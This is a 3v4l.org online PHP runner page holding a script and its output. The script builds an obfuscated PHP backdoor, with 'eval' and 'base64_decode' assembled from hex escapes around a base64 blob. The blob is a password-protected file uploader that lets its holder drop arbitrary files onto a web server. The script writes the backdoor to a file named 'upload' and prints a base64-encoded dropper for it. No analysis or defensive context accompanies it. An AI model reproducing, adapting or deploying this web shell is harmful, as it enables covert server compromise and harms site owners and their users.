3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $u = ' <?PHP $a=""; $a= "\x65". "v\x61"."l";$b="\x62\x61"."s"."\x656"."4_\x64\x65"."\x63o\x64"."\x65";$a($b(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9));'; $v = 'file_put_contents("upload",\'' . $u . '\');'; echo base64_encode($v);
Output for 4.3.0 - 7.1.0
ZmlsZV9wdXRfY29udGVudHMoInVwbG9hZCIsJyA8P1BIUCAkYT0iIjsgICRhPSAiXHg2NSIuICJ2XHg2MSIuImwiOyRiPSJceDYyXHg2MSIuInMiLiJceDY1NiIuIjRfXHg2NFx4NjUiLiJceDYzb1x4NjQiLiJceDY1IjskYSgkYihhV1lvSVdsemMyVjBLQ1JmVUU5VFZGc25jR0Z6YzNkdmNtUW5YU2w4Zkcxa05TZ2tYMUJQVTFSYkozQmhjM04zYjNKa0oxMHBJVDA5SjJReVkyWmpZamMwTldFM05HRmlPR05qWkdOa09XVXhaVFl6WlRVek5HUXlKeWxrYVdVN0pIQmhkR2c5WjJWMFkzZGtLQ2t1Snk4bkxtSmhjMlZ1WVcxbEtDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmJtRnRaU2RkS1R0cFppaEFiVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25kRzF3WDI1aGJXVW5YU3drY0dGMGFDa3BlMlZqYUc4Z0owOXJKenQ5KSk7Jyk7